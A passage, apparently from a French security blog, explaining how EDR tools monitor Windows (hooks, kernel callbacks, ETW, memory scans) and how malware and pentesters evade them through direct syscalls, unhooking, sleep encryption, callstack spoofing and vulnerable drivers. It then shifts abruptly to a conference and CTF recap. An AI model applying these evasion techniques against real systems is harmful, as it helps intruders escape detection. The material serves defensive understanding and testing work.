00007ffc`74d6fe00 e97b339aa8 jmp [redacted.dll]+0x63180 (00007ffc`1d713180)
00007ffc`74d6fe05 0000 add byte ptr [rax],al
00007ffc`74d6fe07 00f6 add dh,dh
00007ffc`74d6fe09 0425 add al,25h
00007ffc`74d6fe0b 0803 or byte ptr [rbx],al
00007ffc`74d6fe0d fe ???
00007ffc`74d6fe0e 7f01 jg ntdll!NtOpenProcess+0x11 (00007ffc`74d6fe11)
00007ffc`74d6fe10 7503 jne ntdll!NtOpenProcess+0x15 (00007ffc`74d6fe15)
00007ffc`74d6fe12 0f05 syscall
00007ffc`74d6fe14 c3 ret
00007ffc`74d6fe15 cd2e int 2Eh
00007ffc`74d6fe17 c3 ret

Il faut uniquement prêter attention à la première instruction, les autres ne sont pas désassemblées correctement car le jmp a réécrit une partie des instructions suivantes.

Cette première instruction a été remplacée par une instruction jmp, un saut inconditionnel, qui permettra de journaliser l’appel qui est fait à la fonction, les arguments qui sont utilisés, le thread appellant, etc. Cela permet d’observer le comportement de l’application lors de son exécution.

Bien que l’on entende très fréquemment parler de hooks pour les appels systèmes, comme NtOpenProcess dans l’exemple ci-dessus, ce ne sont pas les seules fonctions à se faire hooker. En particulier, il est intéressant pour un EDR de hooker les fonctions de bibliothèques Windows dont le comportement est non-trivial à reproduire.
On retrouve fréquemment des hooks sur les fonctions liées au chargement dynamique de code (LoadLibrary, LdrLoadDll, GetProcAddress, LdrGetProcedureAddress, etc), ou encore les fonctions liées aux communications HTTP (les différentes fonctions de wininet.dll, winhttp.dll)

Idéalement, les solutions EDR préfereraient pouvoir hooker les appels système du côté kernel, car un programme utilisateur standard malveillant ne pourrait pas interférer avec ces hooks.
Cela n’est toutefois pas employé par la majorité des solutions, car Windows tente d’interdire aux drivers de faire cela (bien que ça n’empêche pas certaines solutions à y recourir via des contournements connus, mais instables).

Un malware tentant d’échapper à la visibilité de ces hooks tentera alors d’interférer ceux-ci. Il est intéressant de procéder différemment pour les hooks sur les syscalls et pour les fonctions des autres bibliothèques.

Tout d’abord, concernant les syscalls, il est à noter que toutes les fonctions servant à les appeler ont le même préfixe, à savoir :

mov r10,rcx
mov eax,<numéro syscall>
test byte ptr [SharedUserData+0x308],1
jne rip+0x5
syscall

Une subtilité est que le numéro du syscall pour un syscall donné n’est pas constant entre les versions de Windows.

Par conséquent, un malware voulant éviter le hook, doit retrouver le numéro du syscall de la fonction qui l’intéresse, refaire les premières instructions, puis sauter sur l’instruction syscall directement.
Il existe différentes techniques pour récupérer dynamiquement les numéros des appels système, dont certains sont recensées dans cet article.

Pour que les hooks s’appliquent à des fonctions de bibliothèque n’étant pas des appels systèmes, le préfixe de ces fonctions n’est pas constant, il n’est donc pas aussi simple de le retrouver. Cependant, une fois qu’il est possible d’exécuter des syscalls sans passer par les hooks, il est possible d’effectuer des syscalls pour lire les fichiers DLL sur disque, puis de les parser, pour récupérer les premiers octets des fonctions, qui ont été écrasés par le jmp.

Certaines implémentations de unhooking vont ensuite réécrire le code contenant le jmp par les instructions originales pour enlever le hook placé par la solution d’EDR, mais cela peut être détecté par une vérification de l’intégrité du hook.

Memory Scanning

Afin de tenter de pallier aux limites des détections statiques, les solutions d’EDR peuvent mettre en place des « scans mémoire » pour essayer de repérer un programme malveillant connu une fois qu’il a été chargé en mémoire par le reflective loader, puisque le programme malveillant ne peut pas être chiffré ou encodé lors de son exécution.

Cela peut avoir lieu soit périodiquement (par exemple, toutes les quelques heures sur l’ensemble des processus d’une machine), ou bien sur un processus spécifique, suite à des actions suspectes.
La limitation principale est qu’effectuer ce genre de scan de mémoire sur l’ensemble de la mémoire d’un processus peut être très consommateur en performances, cela ne peut donc être fait en permanence. Les solutions d’EDR tentent de limiter la mémoire d’un processus qui est scanné, par exemple en ne ciblant que la mémoire exécutable du processus allouée dynamiquement.

Seuls les malwares de type Command And Control (C2) sont affectés par ce genre de détection, car ce sont les seuls à demeurer suffisamment longtemps en mémoire pour être affectés.
Pour contourner ce vecteur de détections, puisque la majorité du temps ces programmes sleepent en attendant le prochain intervalle de temps afin de vérifier s’il y a des nouvelles commandes à exécuter : ils peuvent simplement se re-chiffrer en mémoire lors de leurs périodes de sleep puis se déchiffrer avant de reprendre leur exécution. Lorsque les scans mémoire surviendront, les EDR ne verront alors que des données chiffrées – qui ne correspondent pas à des patterns connus.

Callbacks Kernel

Process Notification Callbacks

Puisque les drivers des solutions d’EDR ne sont pas en mesure de mettre en place des hooks côté kernel, Microsoft a mis en place des callbacks, permettant d’informer les drivers de certains événements. Les plus connus sont les callbacks liés aux processus, enregistrés via la famille des API PsSetCreateProcessNotifyRoutine.

Ces callbacks servent fréquemment à injecter au sein du processus une DLL qui sera en charge de mettre en place le hooking userland, comme vu précédemment, et ce avant l’exécution du début du processus.

Ces callbacks servent également pour des politiques que certains EDR peuvent avoir, notamment, empêcher des processus inconnus de créer des processus fils.
Cela sert notamment à détecter le comportement de commandes de type shell sur la plupart des C2 existants (comme par exemple Cobalt Strike) qui sert à exécuter des commandes directement en créant un processus fils, ou bien de la post-exploitation utilisant le principe de fork & run, dans lequel un processus fils légitime est créé, le contenu de l’exécutable est remplacé en mémoire par un module de post exploitation, et l’exécution est reprise.

Ces callbacks ne sont pas contournables par un malware. Toutefois, la solution pour éviter ces politiques est de simplement tout exécuter au sein du même processus. En pratique, cela se traduit par le développement de Beacon Object Files, qui est un moyen spécifique de développer des modules de post-exploitation qui seront exécutés en mémoire au sein du même processus.

Image Load Notification callback

Ces callbacks sont invoqués lors de l’appel en userland à la fonction NtMapViewOfSection, qui sert à mapper en mémoire l’objet Section correspondant à la DLL qui est en train d’être chargée.

En soit, il est possible de ne pas invoquer ces callbacks, en réimplémentant l’ensemble du mapping d’une DLL en mémoire. Toutefois, cela est d’une complexité importante à mettre en place, et implique d’avoir des zones mémoires non associées à des fichiers sur disque. Il s’agit donc d’une décision à prendre pour un malware.

Il existe un outil tel quel DarkLoadLibrary, qui réimplémente manuellement la mise en mémoire de la DLL, toutefois il ne s’agit que d’une implémentation partielle.
En effet, la DLL est mise en mémoire manuellement, mais ses dépendances sont chargées via un appel à LoadLibraryA, qui va déclencher des appels à NtMapViewOfSection.

Cela peut toutefois servir pour échapper à certaines détections qui se basent sur ces éléments, comme par exemple, certaines règles de détection de post-exploitation.

Object callback

Les Object Callback sont des callbacks enregistrés auprès de l’Object Manager via l’API ObRegisterCallbacks, qui sont invoqués avant ou après une opération sur un HANDLE d’un type spécifié.

En particulier, les solutions d’EDR mettent souvent en place ce genre de callback pour les objets de type Process et Thread. Cela permet, entre autres, d’observer la demande de création d’un HANDLE vers le processus lsass.exe : si la demande contient un droit d’accès tel que PROCESS_VM_READ, soit tuer le processus ayant fait la demande, soit simplement retirer ce droit – afin d’empêcher les dumps de lsass.exe.

Opérations IO (Filesystem, Network)

Par ailleurs, les drivers de solution d’EDR comportent souvent un driver de type minifilter. Ce sont des drivers qui vont s’enregistrer auprès du filter manager, pour, lorsqu’un requête IO (création ou modification de fichiers sur disque, entre autres) est effectuée, obtenir la visibilité dessus et éventuellement prendre des actions.

Cela est utilisé pour de nombreux usages, par exemple, pour détecter qu’un nouveau fichier ayant une extension .exe est créé et qu’il faut donc effectuer une analyse statique. Cela peut aussi servir à bloquer un exécutable dont l’analyse a révélé qu’il était malveillant, avant que le fichier ne soit supprimé.

Enfin les drivers incluent des Callout Drivers, qui permettent d’observer le contenu du trafic réseau.
Cela peut également permettre de détecter certains patterns connus au sein d’opérations réseau, par exemple, un meterpreter n’utilisant pas de chiffrement peut se faire détecter de cette façon, car il a un protocole bien défini et repérable.

ETW

Source : wikipedia

ETW, l’acronyme de Event Tracing For Windows, est le mécanisme de Windows permettant de collecter informations sur l’exécution de différents composants de l’OS.

Bien qu’initialement conçu plus pour pouvoir identifier la source de problèmes dans les applications Windows, son usage peut également servir à des solutions d’EDR.

ETW est architecturé avec des providers, qui sont différentes sources qui fournissent des types différents d’informations, par exemple, sur un type d’opérations réseau spécifique (HTTP, LDAP, etc.) ou encore sur les authentifications Windows.

Des consumers peuvent ensuite venir s’attacher à plusieurs providers dans une Tracing Session, qui permettra de collecter les événements générés par les différentes sources, soit en instantané, soit en différé.

Un exemple parlant de consumer ETW est l’application Event Viewer sur Windows, qui affiche dans une interface graphique les événements de certains providers.

Ces événements sont générés par différentes sources. Certaines sont situées en userland, et d’autres en kernelland.

Par exemple, si un processus fait des requêtes LDAP, via la bibliothèque Wldap32.dll, cela génèrera des événements ETW. Toutefois, ceux-ci seront générés en userland, via les appels système NtTraceEvent et NtTraceControl. Comme ceux-ci sont générés en userland, un malware pourrait modifier l’une de ces fonctions ou l’une des fonctions appelantes, pour ne pas faire l’appel à ces fonctions, ce qui permettrait d’occulter cette télémétrie.

Toutefois, d’autres événements sont générés au niveau du kernelland, qui eux ne peuvent pas être occultés par un malware.

En particulier, parmi ces providers, on peut citer Microsoft-Windows-Threat-Intelligence, qui fournit des événements liés à la gestion de la mémoire virtuelle et des threads d’un processus. Entre autres, cela inclut les modifications des permissions des pages mémoires.

Les événements sont divisés en deux catégories : ceux locaux, et ceux cross-processus. Les événements cross-processus peuvent aider à identifier les injections de processus, alors que les événements locaux peuvent aider à identifier les reflective loaders, entre autres.

Toutefois, la difficulté principale liée à cette télémétrie est le nombre d’événements, et le taux de faux positifs : par exemple sur Windows, toutes les applications en .NET utilisent du code dynamique, et donc des allocations de code RWX. Similairement, les injections de code sont également relativement fréquentes sur des environnements Windows.

Cet article donne le détail de ces événements, ainsi que les limitations et assouplissements qui sont en place du fait du nombre trop important de faux positifs.

L’analyse de la callstack

Les événements ETW sont également intéressants, puisqu’ils contiennent les informations de la callstack du thread lorsque l’événement a été enregistré.

Par conséquent, si un reflective loader a été utilisé, une zone mémoire a été allouée dynamiquement pour contenir le payload final, celui-ci a été copié dedans, puis la zone mémoire a été rendue exécutable.

Cette zone mémoire n’est donc pas associée à un fichier sur disque, car elle a été allouée dynamiquement. Ainsi, si une telle zone mémoire apparaît dans la callstack d’un processus lors d’un événement ETW, cela peut être considéré comme probablement malveillant.

Il existe trois grands types de méthodes pour avoir une callstack ne faisant pas apparaître de zone mémoire non associée à un fichier sur disque.

La première consiste à utiliser des threads différents, qui ne contiennent pas de zone exécutable non associée à un fichier sur disque dans leur callstack. En particulier, sur Windows, il existe le Thread Pool, qui consiste en un ensemble de threads managés, qui sont présents dans l’ensemble des processus, et qui permettent d’effectuer des actions en différé. Il est donc possible de demander à ces threads d’effectuer des actions qui nous intéressent, par exemple des appels systèmes générant de la télémétrie ETW. Comme ce n’est pas dans ces threads que s’exécute le payload principal, la zone non associée à un fichier sur disque n’apparaît pas dans la télémetrie ETW.

Cette technique a une limitation principale : les appels systèmes ne sont pas faits dans le même thread. Pour un payload de type C2, il n’est donc pas possible de faire de cette façon l’appel système pour faire sleep l’agent. De plus, des opérations spécifiques à un thread ne peuvent pas fonctionner, notamment voler un token Windows.

La seconde technique est plus difficile à implémenter : elle implique de complètement modifier sa callstack, pour quelle fasse uniquement apparaître des modules légitimes. Fondamentalement, la callstack est complètement sous le contrôle du programme en mode utilisateur, la difficulté n’est pas de faire l’appel d’une fonction avec une callstack arbitraire, mais de récupérer le flux d’exécution une fois que la fonction retourne.

Un des exemples d’implémentation existant utilise des gadgets, qui sont des suites d’instructions assembleur dans des modules Windows légitimes, qui ensemble forment une callstack complète, mais qui, lorsqu’ils sont exécutés, vont modifier la stack, ce qui va désynchroniser les retours de fonctions successives, pour pouvoir récupérer le flux de l’exécution du programme.

La dernière catégorie consiste à mettre en mémoire une DLL légitime, associée à un fichier sur disque, puis de modifier le contenu en mémoire de cette DLL (module stomping). Toutefois, cela peut mener à des détections spécifiques, notamment des événements ETW « locaux » au processus, et cela modifie un attribut de la page mémoire spécifique lié au copy-on-write.

Des pièges en mémoire

It’as a trap !

Enfin, différentes solutions emploient différentes techniques peu documentées pour tenter d’obtenir des éléments de télémétrie supplémentaires.

On peut citer différents mécanismes, tels que :

– L’utilisation des Intrumentation Callback, permettant à une solution d’EDR de récupérer le flux d’exécution d’un programme après chaque instruction syscall.
– La présence de fausses entrées au sein des listes chaînées des modules dans le PEB. Si un programme tente d’accéder à un zone mémoire associée à ces fausses entrées, une exception est levée, car la mémoire est protégée avec l’attribut PAGE_GUARD. L’exception est alors attrapée par l’EDR, qui pourra noter ce comportement anormal.
– L’enregistrement de fonctions de callback lors du chargement dynamique de DLL via LdrRegisterDllNotification du côté userland.
– Des vérifications d’intégrité, pour s’assurer que certaines fonctions, comme NtTraceEvent n’ont pas été modifiées en mémoire.

Bien que ces mécanismes puissent générer de la télémétrie supplémentaire, ces différentes techniques ne sont que peu robustes : un malware étant au courant de l’existence de ces mécanismes pourra simplement les retirer avant d’exécuter son programme malveillant.

Par rapport à un pentest « typique »

Aujourd’hui, il n’est plus du tout aussi trivial de s’affranchir des mécanismes de détection et de blocage des EDR.

Aussi, afin de contourner ce problème, en test d’intrusion notamment, des méthodes alternatives sont employées. Depuis un poste physiquement présent au sein du réseau (ou une Raspberry Pi, par exemple), l’auditeur va lancer la majorité de ses attaques depuis son propre poste, qui n’est pas monitoré. De plus, les actions menées vont tenter au maximum de ne pas exécuter de programme directement sur la machine cible, et utiliser uniquement des appels de procédures à distance (RPC) existants sur l’ensemble des machines Windows.

Il est difficile pour un EDR de correctement bloquer ces attaques, puisqu’il n’y a pas vraiment de processus sur la machine victime à bloquer. Au mieux il est possible de le détecter, car le processus malveillant est sur une machine distante non monitorée.

Certains EDR tentent tout de même de bloquer certains appels RPC en tuant le processus sur la machine victime, mais en général ces détections ne sont pas très robustes. Par exemple, l’utilitaire secretsdump.py de la suite Impacket permet de faire un dump de la base SAM à distance. Pour ce faire, les ruches de registre correspondantes sont d’abord écrites sur disque, puis récupérées via le protocole SMB. Certaines solutions d’EDR vont tenter de détecter ce dump, pour essayer de rapidement le supprimer, mais cela laisse une fenêtre de temps durant laquelle le fichier peut être lu.

Bien que cela puisse représenter certains scénarios de compromission (accès VPN compromis, appliance non patchée, application Web compromise, accès physique), cela ne couvre pas l’ensemble des scénarios existants (phishing, accès RDP exposé, etc)

Par rapport à de vrais attaquants

Tous les attaquants n’ont pas forcément les compétences ou les moyens de contourner ces solutions. Pour arriver à leurs fins, il est très fréquent de voir l’utilisation d’utilitaires légitimes d’accès à distance (TeamViewer, AnyDesk, etc). Bien qu’il soit simple de détecter l’usage de ces utilitaires, il n’est pas possible de les bloquer par défaut, car ils sont également très fréquemment utilisés pour de l’administration système.

Cela est également vrai pour les différentes phases d’une attaque, où les attaquants vont abuser d’utilitaires légitimes pour ne pas être bloqués par des solutions EDR (par exemple, utilisation d’ADExplorer pour de la reconnaissance, de PsExec pour du mouvement latéral, etc).

Enfin, les attaquants tentent aussi de désactiver l’EDR en place. Pour ce faire, un accès administrateur est nécessaire. Avec celui-ci, les attaquants vont tenter d’altérer le driver de l’EDR, chargé dans le kernel.
Pour pouvoir interagir avec la mémoire du kernel, ils vont charger un driver connu pour avoir une vulnérabilité, puis exploiter cette vulnérabilité pour retirer les différents callbacks et points de visibilité de l’EDR, qui ne sera alors plus en mesure de détecter des programmes malveillants, même connus statiquement. Il existe différents exemples open-source, comme EDRSandBlast.

Différents vendeurs de solution d’EDR ont déjà signalé avoir observé ce genre de comportement lors de vraies intrusions.

Pour contrer cela, depuis Windows 11, une blocklist de drivers connus comme vulnérables existe, mais la liste n’est pas forcément à jour, et tous les drivers vulnérables ne sont pas forcément connus.

• un retour d’expérience sur le redteam et l’intrusion physique, qui consiste à obtenir des « trophées » chez un client (obtenir des privilèges élevés sur le système d’information du client, accéder aux mails d’un directeur, accéder à la salle des serveurs …)

• une présentation du purple team, qui est un échange entre l’attaque et la défense, pour s’améliorer mutuellement

• une exhibition de certaines techniques de jailbreak IOS, c’est à dire prendre le contrôle total d’une machine Apple.

• présenter l’outil vulture os, qui permet la collecte et l’enrichissement des logs, pour faciliter la détection des attaques chez un SOC.

• certains retour sur de la planification d’audit, et les difficultés qui peuvent en découler.

Les conférences étaient assez sympathiques et diversifiées.
Celles que j’ai particulièrement appréciées sont celle sur le redteam, et celle sur le jailbreak.
En effet, je trouve l’intrusion physique très impressionnante, surtout lorsque des gens ouvrent des boites à clefs, des serrures et des portes fermées, et celle sur le jailbreak présentait des sujets très spécifiques, mais toujours très intéressants.

Enfin, en début de soirée, et jusqu’au petit matin a eu lieu une compétition de cybersécurité (appelé aussi Capture The Flag).
Elle consiste en une vingtaine d’épreuves, sur divers domaines de la cybersécurité, sur des sites et programmes qui ont été préparées pour l’occasion.
On peut y retrouver entre autre la compréhension et l’exploitation de programmes informatiques, des attaques sur des sites Webs, ou d’environnement Kubernetes mal configurés, de l’analyse de journaux.

Notre équipe Khactus s’est placée deuxième de l’évènement, après un affrontement très serré.

C’était une très bonne expérience. Un grand merci aux organisateurs.

Vous pourrez trouver nos solutions aux épreuves sur le blog.